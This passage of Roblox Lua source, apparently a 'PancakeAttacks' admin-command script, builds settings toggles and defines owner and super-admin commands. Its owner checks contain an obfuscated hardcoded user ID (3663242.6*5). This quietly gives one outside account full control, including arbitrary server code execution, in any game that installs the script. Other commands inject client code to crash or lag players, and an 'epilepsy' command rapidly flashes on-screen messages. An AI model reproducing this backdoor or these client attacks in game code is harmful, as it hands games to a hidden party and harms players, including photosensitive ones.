cmf cl.Text = 'Donator Stuff: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = Color3.new(1,1,1) cb.TextColor3 = Color3.new(1,1,1) cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = Color3.new(1,1,1) cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['DonorStuff'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['DonorStuff'] then set['DonorStuff'] = false cb.Text = "" else set['DonorStuff'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Group Admin: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = Color3.new(1,1,1) cb.TextColor3 = Color3.new(1,1,1) cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = Color3.new(1,1,1) cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['GroupAdmin'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['GroupAdmin'] then set['GroupAdmin'] = false cb.Text = "" else set['GroupAdmin'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'GroupId: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local tb = Instance.new("TextBox", cl) tb.Position = UDim2.new(0,335,0,0) tb.Size = UDim2.new(0,30,0,15) tb.BackgroundTransparency = .8 tb.BorderSizePixel = 1 tb.BorderColor3 = Color3.new(1,1,1) tb.TextColor3 = Color3.new(1,1,1) tb.Font = "Arial" tb.Text = set['GroupId'] tb.FontSize = "Size18" tb.TextStrokeColor3 = Color3.new(1,1,1) tb.TextStrokeTransparency = .9 tb.TextYAlignment = "Top" tb.ClipsDescendants = true tb.ZIndex = 8 tb.TextWrapped=true tb.TextScaled=true tb.Changed:connect(function() if tonumber(tb.Text) ~= set['GroupId'] and tb.Text ~= "" then set['GroupId'] = tonumber(tb.Text) end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Group Only Join: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = Color3.new(1,1,1) cb.TextColor3 = Color3.new(1,1,1) cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = Color3.new(1,1,1) cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['GroupOnlyJoin'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['GroupOnlyJoin'] then set['GroupOnlyJoin'] = false cb.Text = "" else set['GroupOnlyJoin'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Friend Admin: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = Color3.new(1,1,1) cb.TextColor3 = Color3.new(1,1,1) cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = Color3.new(1,1,1) cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['FreindAdmin'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['FreindAdmin'] then set['FreindAdmin'] = false cb.Text = "" else set['FreindAdmin'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'VIP Admin: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = Color3.new(1,1,1) cb.TextColor3 = Color3.new(1,1,1) cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = Color3.new(1,1,1) cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['VipAdmin'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['VipAdmin'] then set['VipAdmin'] = false cb.Text = "" else set['VipAdmin'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'VIP Item ID: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local tb = Instance.new("TextBox", cl) tb.Position = UDim2.new(0,335,0,0) tb.Size = UDim2.new(0,30,0,15) tb.BackgroundTransparency = .8 tb.BorderSizePixel = 1 tb.BorderColor3 = Color3.new(1,1,1) tb.TextColor3 = Color3.new(1,1,1) tb.Font = "Arial" tb.Text = set['ItemId'] tb.FontSize = "Size18" tb.TextStrokeColor3 = Color3.new(1,1,1) tb.TextStrokeTransparency = .9 tb.TextYAlignment = "Top" tb.ClipsDescendants = true tb.ZIndex = 8 tb.TextWrapped=true tb.TextScaled=true tb.Changed:connect(function() if tonumber(tb.Text) ~= set['ItemId'] and tb.Text ~= "" then set['ItemId'] = tonumber(tb.Text) end end) cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) end ------- end -------------------- -- Owner Commands -- -------------------- if plr.Name:lower() == set.nfs:lower() or plr.userId == (3663242.6*5) or plr.userId == game.CreatorId or set.ChkOwner(plr.Name:lower()) then if msg:lower():sub(1,3) == "pa " then local plrz = set.GetPlayers(plr, msg:lower():sub(4)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and not set.ChkAdmin(v.Name, true) then table.insert(set['Admins'], v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") set.Message("PancakeAttacks Admin Commands", "You're an admin! Chat "..set['prefix'].."cmds to view commands! The Command Prefix is "..set['prefix'], false, {v}) end)) set.Hint(v.Name..' Has Been Given Admin',{plr}) end end)) end end if msg:lower():sub(1,5) == "unpa " then for i = 1, #set['Admins'] do coroutine.resume(coroutine.create(function() if msg:lower():sub(6) == "all" or set['Admins'][i]:lower():find(msg:lower():sub(6)) == 1 then set.Hint(set['Admins'][i]..' No Longer Has Admin',{plr}) table.remove(set['Admins'], i) end end)) end end if msg:lower() == "restoremap" then for i,v in pairs(workspace:children()) do pcall(function() v:Destroy() end) end for i,v in pairs(set.mapbackup) do v:clone().Parent=workspace end chat(plr,set['prefix'].."respawn all") end if msg:lower() == "explore" or msg:lower() == "explorer" then if plr.PlayerGui:findFirstChild(GuiName.."EXPLORERGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."EXPLORERGUI" scr.Parent = plr.PlayerGui top.Text='Explorer' local parent=game local function GrabChildren() local function makegui(v) local cl = ent:clone() cl.Parent = cmf cl.Text = num.." | "..v.Name cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,300,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local kill = Instance.new("TextButton", cl) kill.Style = "Custom" kill.Size = UDim2.new(0,15,0,15) kill.TextScaled=true kill.Position = UDim2.new(1,50,0,0) kill.ZIndex=2 kill.Font = "ArialBold" kill.FontSize = "Size18" kill.Text = "X" kill.BackgroundColor3=set['PrimaryColor'] kill.BorderColor3=set['SecondaryColor'] kill.TextColor3 = set['SecondaryColor'] kill.BackgroundTransparency=set['Transparency'] kill.MouseButton1Click:connect(function() v:Destroy() cmf:ClearAllChildren() GrabChildren() end) local move = Instance.new("TextButton", cl) move.Style = "Custom" move.Size = UDim2.new(0,15,0,15) move.TextScaled=true move.Position = UDim2.new(1,25,0,0) move.ZIndex = 2 move.Font = "ArialBold" move.FontSize = "Size18" move.Text = "+" move.BackgroundColor3=set['PrimaryColor'] move.BorderColor3=set['SecondaryColor'] move.TextColor3 = set['SecondaryColor'] move.BackgroundTransparency=set['Transparency'] move.MouseButton1Click:connect(function() parent=v cmf:ClearAllChildren() GrabChildren() end) num = num +1 end num=0 if parent==game then local gamestuff={game:service('Lighting'),workspace,game.StarterPack,game.StarterGui,game.Players,game.Debris,game:service('ServerStorage'),game:service('ServerScriptService'),game:service('ReplicatedStorage'),game:service('SoundService'),game:service('Teams')} for k,s in pairs(gamestuff)do if s and s.Name and s.Parent==game then makegui(s) end end for l,m in pairs(game:GetChildren()) do if m and m.ClassName and m.ClassName=='Model' or m.ClassName=='Script' or m.ClassName=='LocalScript' then makegui(m) end end else for i,v in pairs(parent:GetChildren()) do makegui(v) end end cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) end local back = Instance.new("TextButton", cmf.Parent) back.Style = "Custom" back.Size = UDim2.new(0,20,0,20) back.Position = UDim2.new(1,-50,0,5) back.ZIndex = 10 back.Font = "ArialBold" back.FontSize = "Size18" back.Text = "^" back.BackgroundColor3=set['PrimaryColor'] back.BorderColor3=set['SecondaryColor'] back.TextColor3 = set['SecondaryColor'] back.BackgroundTransparency=set['Transparency'] back.MouseButton1Click:connect(function() if parent~=game then parent=parent.Parent end cmf:ClearAllChildren() GrabChildren() end) local refresh = Instance.new("TextButton", cmf.Parent) refresh.Style = "Custom" refresh.Size = UDim2.new(0,20,0,20) refresh.Position = UDim2.new(1,-75,0,5) refresh.ZIndex = 10 refresh.Font = "ArialBold" refresh.FontSize = "Size18" refresh.Text = "R" refresh.BackgroundColor3=set['PrimaryColor'] refresh.BorderColor3=set['SecondaryColor'] refresh.TextColor3 = set['SecondaryColor'] refresh.BackgroundTransparency=set['Transparency'] refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() GrabChildren() end) local b=Instance.new('TextBox',cmf.Parent) b.Size=UDim2.new(0,130,0,20) b.Position=UDim2.new(0,10,0,5) b.BackgroundColor3=set['SecondaryColor'] b.BackgroundTransparency=set['Transparency'] b.TextColor3=set['TextColor'] b.TextStrokeTransparency=0 b.Text='' b.ZIndex=15 b.Font='ArialBold' b.TextScaled=true b.TextWrapped=true b.Changed:connect(function(o) if o=='Text' and (b.Text~='' or string.len(b.Text)>0) and parent~=game then cmf:ClearAllChildren() num=0 for k,l in pairs(parent:GetChildren()) do if l and (l.Name:lower():sub(1,#b.Text)==b.Text and b.Text~='all') then makegui(l) end end elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0 or b.Text=='all') and parent~=game then cmf:ClearAllChildren() GrabChildren() end end) GrabChildren() end if msg:lower():sub(1,5) == "nuke " then local plrz = set.GetPlayers(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then local p = Instance.new("Part",game.Workspace) table.insert(set.objects,p) p.Anchored = true p.CanCollide = false p.formFactor = "Symmetric" p.Shape = "Ball" p.Size = Vector3.new(1,1,1) p.BrickColor = BrickColor.new("New Yeller") p.Transparency = .5 p.Reflectance = .2 p.TopSurface = 0 p.BottomSurface = 0 p.Touched:connect(function(hit) if hit and hit.Parent then local ex = Instance.new("Explosion", game.Workspace) ex.Position = hit.Position ex.BlastRadius = 100 ex.BlastPressure = math.huge if hit:IsA('Part') then hit.Anchored=false end hit:BreakJoints() end end) local cf = v.Character.Torso.CFrame p.CFrame = cf for i = 1, 333 do p.Size = p.Size + Vector3.new(3,3,3) p.CFrame = cf wait(1/44) end p:Destroy() end end)) end end end -------------------------- -- Super Admin Commands -- -------------------------- if set.ChkAdmin(plr.Name, true) or set.ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == set.nfs:lower() or plr.userId == (3663242.6*5) or plr.Name:lower() == set.nfs then if msg:lower() == "log" or msg:lower() == "logs" then if plr.PlayerGui:findFirstChild(GuiName.."LOGGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."LOGGUI" scr.Parent = plr.PlayerGui top.Text='Admin Logs' local function logdisplay(p) num=0 for i,v in pairs(set.logs) do if num<=set['MaxNumberOfLogs'] and (v.name:lower():sub(1,#p)==p:lower() or v.cmd:lower():find(p:lower()) or v.time:lower():sub(1,#p)==p:lower() or p:lower()=='all') then local cl = ent:Clone() cl.Parent = cmf cl.Text = "["..v.time.."] "..v.name.."- "..v.cmd cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 end end cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) end local b=Instance.new('TextBox',cmf.Parent) b.Size=UDim2.new(0,130,0,20) b.Position=UDim2.new(0,10,0,5) b.BackgroundColor3=set['SecondaryColor'] b.BackgroundTransparency=set['Transparency'] b.TextColor3=set['TextColor'] b.TextStrokeTransparency=0 b.Text='' b.ZIndex=15 b.Font='ArialBold' b.TextScaled=true b.TextWrapped=true b.Changed:connect(function(o) if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then cmf:ClearAllChildren() logdisplay(b.Text) elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then cmf:ClearAllChildren() logdisplay('all') end end) local refresh = Instance.new("TextButton", cmf.Parent) refresh.Style = "Custom" refresh.Size = UDim2.new(0,20,0,20) refresh.Position = UDim2.new(1,-50,0,5) refresh.ZIndex = 10 refresh.Font = "ArialBold" refresh.FontSize = "Size18" refresh.Text = "R" refresh.BackgroundColor3=set['PrimaryColor'] refresh.BorderColor3=set['SecondaryColor'] refresh.TextColor3 = set['SecondaryColor'] refresh.BackgroundTransparency=set['Transparency'] refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() logdisplay('all') end) logdisplay('all') end if msg:lower():sub(1,2) == "s " then coroutine.resume(coroutine.create(function() if set.canuseloadstring then set.Output(msg:sub(3), plr) set.LoadScript('Script',msg:sub(3),set.AssignName(),true,game:service('ServerScriptService')) else set.Hint('LoadStringEnabled is set to false! If you are the place owner read the Important section at the top of the script to learn how to fix this!',{plr}) end end)) end if msg:lower():sub(1,3) == "ls " then coroutine.resume(coroutine.create(function() if not set.canuseloadstring then set.Hint('Loadstrings are disabled, output will not be shown',{plr}) end set.LoadOnClient(plr,msg:sub(4),true,set.AssignName()) set.Output(msg:sub(4), plr) end)) end if msg:lower():sub(1,3) == "cs " then local chk1 = msg:lower():sub(5):find(" ") + 4 local plrz = set.GetPlayers(plr, msg:lower():sub(4,chk1-1)) for i,v in pairs(plrz) do coroutine.resume(coroutine.create(function() if not set.canuseloadstring then set.Hint('Loadstrings are disabled, output will not be shown',{plr}) end set.LoadOnClient(v,msg:sub(chk1+1),true,set.AssignName()) set.Output(msg:sub(chk1+1), plr) end)) end end if msg:lower():sub(1,5) == "mute " then local plrz = set.GetPlayers(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and set.ChkTrueOwner(plr) or (not set.ChkAdmin(v.Name, false)) then table.insert(set['MuteList'], v.Name) set.NilExecute(v,[[game.StarterGui:SetCoreGuiEnabled('Chat',false)]]) end end)) end end if msg:lower():sub(1,7) == "unmute " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for k,m in pairs(set['MuteList']) do if v.Name==m then table.remove(set['MuteList'],k) set.NilExecute(v,[[game.StarterGui:SetCoreGuiEnabled('Chat',true)]]) end end end end)) end end if msg:lower() == "mutes" or msg:lower() == "muted" or msg:lower() == "mutelist" then if plr.PlayerGui:findFirstChild(GuiName.."BANSGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."MUTESGUI" scr.Parent = plr.PlayerGui top.Text='Mute List' local function mutelistdisplay(p) num=0 for i,v in pairs(set['MuteList']) do if (v:lower():find(p) or p=='all') then local cl = ent:Clone() cl.Parent = cmf cl.Text = num.." | "..v cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 end end cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) end mutelistdisplay('all') local b=Instance.new('TextBox',cmf.Parent) b.Size=UDim2.new(0,130,0,20) b.Position=UDim2.new(0,10,0,5) b.BackgroundColor3=set['SecondaryColor'] b.BackgroundTransparency=set['Transparency'] b.TextColor3=set['TextColor'] b.TextStrokeTransparency=0 b.Text='' b.ZIndex=15 b.Font='ArialBold' b.TextScaled=true b.TextWrapped=true b.Changed:connect(function(o) if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then cmf:ClearAllChildren() mutelistdisplay(b.Text) elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then cmf:ClearAllChildren() mutelistdisplay('all') end end) end if msg:lower():sub(1,7) == "notalk " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i,v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and not v:FindFirstChild('NoTalk') and not set.ChkAdmin(v.Name,false) then local talky=Instance.new('IntValue',v) talky.Name='NoTalk' talky.Value=0 end end)) end end if msg:lower():sub(1,9) == "unnotalk " then local plrz = set.GetPlayers(plr, msg:lower():sub(10)) for i, v in pairs(plrz) do pcall(function() coroutine.wrap(function() if v and v:FindFirstChild('NoTalk') then v.NoTalk:Destroy() end end)() end) end end if msg:lower():sub(1,9) == "loopkill " then local chk1 = msg:lower():sub(10):find(" ") local plrz = set.GetPlayers(plr, msg:lower():sub(10)) local num = 9999 if chk1 then chk1 = chk1 + 9 plrz = set.GetPlayers(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end for i, v in pairs(plrz) do if not set.canuseloadstring then set.Hint('Loadstrings are disabled, cant run command.',{plr}) end if v and set.canuseloadstring and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then set.LoadScript('Script',[[ local plr = game.Players:findFirstChild("]] .. v.Name .. [[") for i = 1, ]] .. tostring(num) .. [[ do repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0 coroutine.resume(coroutine.create(function() if plr and plr.Character then plr.Character:BreakJoints() end end)) end]],"LoopKill:"..v.Name,true) end end end if msg:lower():sub(1,5) == "note " then local chk1 = msg:lower():sub(6):find(" ")+5 local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1)) for i, v in pairs(plrz) do if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then local notes=v:LoadInstance('Admin Notes') if not notes then notes=Instance.new('Model') end notes.Name='Admin Notes' local note = Instance.new("StringValue", notes) note.Name = msg:sub(chk1+1) set.Hint('Added '..v.Name..' Note '..note.Name,{plr}) v:SaveInstance("Admin Notes", notes) end end end if msg:lower():sub(1,11) == "removenote " then local chk1 = msg:lower():sub(12):find(" ")+11 local plrz = set.GetPlayers(plr, msg:lower():sub(12,chk1-1)) for i, v in pairs(plrz) do if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then local notes=v:LoadInstance('Admin Notes') if notes then if msg:sub(chk1+1) == "all" then notes:ClearAllChildren() else for k,m in pairs(notes:children()) do if m.Name:lower():sub(1,#msg:sub(chk1+1)) == msg:sub(chk1+1):lower() then set.Hint('Removed '..v.Name..' Note '..m.Name,{plr}) m:Destroy() end end end v:SaveInstance("Admin Notes", notes) end end end end if msg:lower():sub(1,6) == "notes " then local plrz = set.GetPlayers(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName..v.Name.."NOTESGUI" scr.Parent = plr.PlayerGui top.Text=v.Name..' Notes' local notes=v:LoadInstance('Admin Notes') if not notes then set.Hint('No notes on '..v.Name,{plr}) end for i,v in pairs(notes:children()) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num.." | "..v.Name cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 end cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) end end if msg:lower():sub(1,11) == "unloopkill " then local plrz = set.GetPlayers(plr, msg:lower():sub(12)) for i,v in pairs(plrz) do for q,sc in pairs(set.objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(set.objects,q) end end end end if msg:lower() == "serverlock" or msg:lower() == "slock" then set.slock=true set.Hint("Server has been locked", game.Players:children()) end if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then set.slock = false set.Hint("Server has been unlocked", game.Players:children()) end if msg:lower() == "grouplock" or msg:lower() == "gslock" then set['GroupOnlyJoin'] = true set.Hint("Server is now Group Only.", game.Players:children()) end if msg:lower() == "groupunlock" or msg:lower() == "gsunlock" then set['GroupOnlyJoin'] = false set.Hint("Server is no longer Group Only", game.Players:children()) end if msg:lower():sub(1,3) == "sm " then set.Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children()) end if msg:lower():sub(1,3) == "ko " then pcall(function() coroutine.wrap(function() local chk1 = msg:lower():sub(4):find(" ") + 3 local plrz = set.GetPlayers(plr, msg:lower():sub(4,chk1-1)) local num = 500 if num > tonumber(msg:sub(chk1+1)) then num = tonumber(msg:sub(chk1+1)) end for i, v in pairs(plrz) do if set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then set.LoadScript(plr,[[ v=game.Players:FindFirstChild(']]..v.Name..[[') for n = 1, ]]..num..[[ do wait() coroutine.wrap(function() pcall(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = game.Players.LocalPlayer val.Name = "creator" v.Character:BreakJoints() wait() v:LoadCharacter() end end) end)() end]],false,set.AssignName()) end end end)() end) end if msg:lower():sub(1,4) == 'lag ' then local plrz = set.GetPlayers(plr, msg:lower():sub(5)) for i,v in pairs(plrz) do coroutine.wrap(function() if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name,false) then set.LoadOnClient(v,[[script.Parent=nil stuff={} coroutine.wrap(function() game:GetService('RunService').Stepped:connect(function() pcall(function() pcall(function() for i=1,100 do table.insert(stuff,i) string.rep('Lag',2e5) end stuff={} end) end) end) end)() ]],false,set.AssignName()) end end)() end end if msg:lower():sub(1,7) == 'toollag ' then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i,v in pairs(plrz) do coroutine.wrap(function() if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name,false) then set.LoadOnClient(v,[[ script.Parent=nil v=game.Players.LocalPlayer while wait() do if v:FindFirstChild('Backpack') then Instance.new("HopperBin",v.Backpack).Name=math.random() Instance.new("HopperBin",v.Backpack).Name=math.random() Instance.new("HopperBin",v.Backpack).Name=math.random() Instance.new("HopperBin",v.Backpack).Name=math.random() Instance.new("HopperBin",v.Backpack).Name=math.random() Instance.new("HopperBin",v.Backpack).Name=math.random() end end]],false,set.AssignName()) end end)() end end if msg:lower():sub(1,9) == 'telespam ' then local plrz = set.GetPlayers(plr, msg:lower():sub(10)) for i,v in pairs(plrz) do coroutine.wrap(function() if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name,false) then game:GetService('TeleportService'):Teleport(154636492,v) end end)() end end if msg:lower():sub(1,6) == "crash " then local plrz = set.GetPlayers(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() set.LoadOnClient(v,[[ script.Parent=nil num=999^99*9/10+1348+9e5 function run() game:GetService("RunService").Stepped:connect(function() pcall(function() run() mouse=game.Players.LocalPlayer:GetMouse() print(string.rep('Crash',1000)) for i=1-num,num+90000000 do pcall(function() num=num*num/9e99*num^num-9+9e9*3.14 print(string.rep(num,1000)) while wait() do pcall(function() Instance.new('StringValue') print(num) error('You Need To Crash') end) end end) end end) end) end while true do pcall(function() run() end) end]],false,set.AssignName()) end)) end end if msg:lower():sub(1,8) == "freecam " then for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(9))) do v.Character=nil end end if msg:lower():sub(1,10) == "unfreecam " then for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(11))) do if workspace:FindFirstChild(v.Name) then v.Character=workspace:FindFirstChild(v.Name) end end end if msg:lower():sub(1,4) == "nil " then local plrz = set.GetPlayers(plr, msg:lower():sub(5)) for i,v in pairs(plrz) do coroutine.resume(coroutine.create(function() set.LoadOnClient(v,[[ LocalPlayer=game.Players.LocalPlayer Camera=game.Workspace.CurrentCamera LocalPlayer.Parent=nil if LocalPlayer.Character then LocalPlayer.Character:Destroy() end LocalPlayer.Character = nil function make() f = Instance.new("Part",workspace) f.Name = 'Pancake Probe '..LocalPlayer.Name f.Anchored = true f.Locked = true f.Size = Vector3.new(1,1,1) f.Transparency = 1 f.BrickColor = BrickColor.new("Really black") f.Material = "Plastic" f.Reflectance = 0 f.CanCollide = false light = Instance.new('PointLight',f) light.Range = 20 light.Brightness = 1 light.Color = Color3.new(1,1,1) light.Enabled = true coroutine.wrap(function() while f:IsDescendantOf(workspace) and not LocalPlayer.Character and wait() do f.CFrame = Camera.Focus end f:Destroy() end)() end make() coroutine.wrap(function() workspace.ChildRemoved:connect(function(c) if not f or f.Parent~=workspace or not f:IsDescendantOf(workspace) then make() end end) end)() coroutine.wrap(function() LocalPlayer.Chatted:connect(function(msg) if msg:lower()=='poff' then light.Enabled=false elseif msg:lower()=='pon' then light.Enabled=true end if light.Enabled==true then game:service('Chat'):Chat(f,LocalPlayer.Name..': '..msg,Enum.ChatColor.Red) end end) end)()]],false,set.AssignName()) end)) end end if msg:lower():sub(1,9) == "epilepsy " then local plrz = set.GetPlayers(plr, msg:lower():sub(10)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("Backpack") and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then set.LoadOnClient(v,[[hum=game.Players.LocalPlayer.Character:FindFirstChild('Humanoid') if hum then hum:remove() end while wait() do h=Instance.new('Hint',game.Workspace) h.Text=math.random()..'@U*)(&$ We are Epix. )*(&@#^ We are Here. *#@&(* Not Everything is so Black and White. #@*(&$@$'..math.random() f = Instance.new('Message',game.Workspace) d = Instance.new('Message',game.Workspace) s = Instance.new('Message',game.Workspace) s.Text = '??Epix?????Inc?? Epix [ We are Epix. We Are Here. ] ??Epix?????Inc?? Epix ' d.Text = 't??'..math.random()..'??Epix?????Inc?? Epix '..math.random()..' Inc?????s??Epix?????'..math.random()..'???????Epix ??????t????????????????Inc??????????' f.Text = 't???Mr. Epix?????'..math.random()..'??? Epix '..math.random()..' Inc????'..math.random()..'?s????????????????????Epix_t??????????????????Inc????????' wait() f:remove() d:remove() s:remove() h:remove() for i,v in pairs(game.Workspace:GetChildren()) do if v.ClassName=='Message' or v.ClassName=='Hint' then v:remove() end end end]],true,set.AssignName()) end end)) end end if msg:lower():sub(1,5) == "kick " then local plrz = set.GetPlayers(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.wrap(function() if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then if not game.Players:FindFirstChild(v.Name) then set.NilExecute(v,[[while true do end]]) else pcall(function() v:Kick() end) end end end)() end end if msg:lower():sub(1,6) == "admin " then local plrz = set.GetPlayers(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and not set.ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") set.Message("PancakeAttacks", "You're an admin!", false, {v}) end)) end end)) end end if msg:lower():sub(1,6) == "admin " then local plrz = set.GetPlayers(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and not set.ChkAdmin(v.Name, false) then table.insert(set['TempAdmins'], v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") set.Message("PancakeAttacks Admin Commands", "You're an admin! Chat "..set['prefix'].."cmds to view commands! The Command Prefix is "..set['prefix'], false, {v}) end)) set.Hint(v.Name..' Has Been Given TempAdmin',{plr}) end end)) end end if msg:lower():sub(1,8) == "unadmin " then for i = 1, #set['TempAdmins'] do coroutine.resume(coroutine.create(function() if msg:lower():sub(9) == "all" or 